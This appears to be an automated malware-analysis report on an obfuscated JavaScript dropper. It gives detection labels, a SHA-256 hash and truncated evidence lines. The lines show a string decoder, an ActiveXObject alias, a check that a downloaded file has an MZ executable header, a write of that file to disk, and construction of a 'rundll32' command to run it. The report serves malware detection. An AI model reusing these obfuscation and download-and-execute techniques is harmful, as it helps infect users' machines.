20161221_4e66d93da4383c6e8c0f3482b5e6d621.js
Obfuscated ActiveX malware execution
Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias
SHA-2565433817cc7bf707c19028b262e27dac2c027d49cf2b3f4ff74231b844bc29cc5
Evidence
2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchiklendingFROG2XCOP = 0;
9 var SupchiklendingRazlomSS, SupchiklendingFROG2ddDccC2, SupchiklendingFROG2c3, SupchiklendingFROG2c4;
10
11 var SupchiklendingFROG2out = "";
12
13 var SupchiklendingFROG2Supchiklendingka= this.replace(/FROSTICK/gi, SupchiklendingFROG2out);
14 var SupchiklendingFROG2len = SupchiklendingFROG2sud(Su …
18 var Supchiklendingkoch = SupchiklendingFROG2Supchiklendingka.charCodeAt(SupchiklendingFROG2XCOP++) &(0x132- 0x33);
19 SupchiklendingRazlomSS = levitron[Supchiklendingkoch];
20 } while (SupchiklendingFROG2XCOP < Supchiklendin …
27:39… +1== 0)
28 break;
29 SupchiklendingFROG2out += String['fromCharCode']((SupchiklendingRazlomSS << 2) | ((SupchiklendingFROG2ddDccC2 & 0x30) >> 4)); do {
30 SupchiklendingFROG2c3 = Supchikle …
185:16… dingFROG2d2=SupchiklendingFROG2DoUtra.pop();
186SupchiklendingFROG2fabled="Valar2Morgulis";
187 var SupchiklendingFROG2LitoyDISK=ActiveXObject;
188 var doubleTrouble=SupchiklendingFROG2d2.split("45");SupchiklendingFROG2Native.SupchiklendingFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchiklendingFROG2$type(a)===b})};
…
257:72… gTalabaev);
258 if(SupchiklendingTalabaevLaa < 29989)return false;
259 if (SupchiklendingTalabaev[0]!= 77 || SupchiklendingTalabaev[1]!= 90)return false;
260 SupchiklendingFROG2CHICKA = SupchiklendingFROG2CHICKA + SupchiklendingFROG2SIDRENKOV;
261 REBEKK2(SupchiklendingFROG2CHICKA, SupchiklendingTalabaev );
262
263 var SupchiklendingFROG2ddsSSddSd = ",happy";
264SupchiklendingFROG2ddsSSddSd = (SupchiklendingFROG2StrokaParam2,"undl") + (SupchiklendingFROG2StrokaParam2,"l32 ") + Supchikl …